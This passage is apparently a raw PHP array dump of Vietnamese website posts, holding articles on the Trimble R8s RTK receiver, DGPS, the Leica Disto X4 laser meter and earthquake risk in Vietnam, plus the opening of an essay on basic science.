trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình 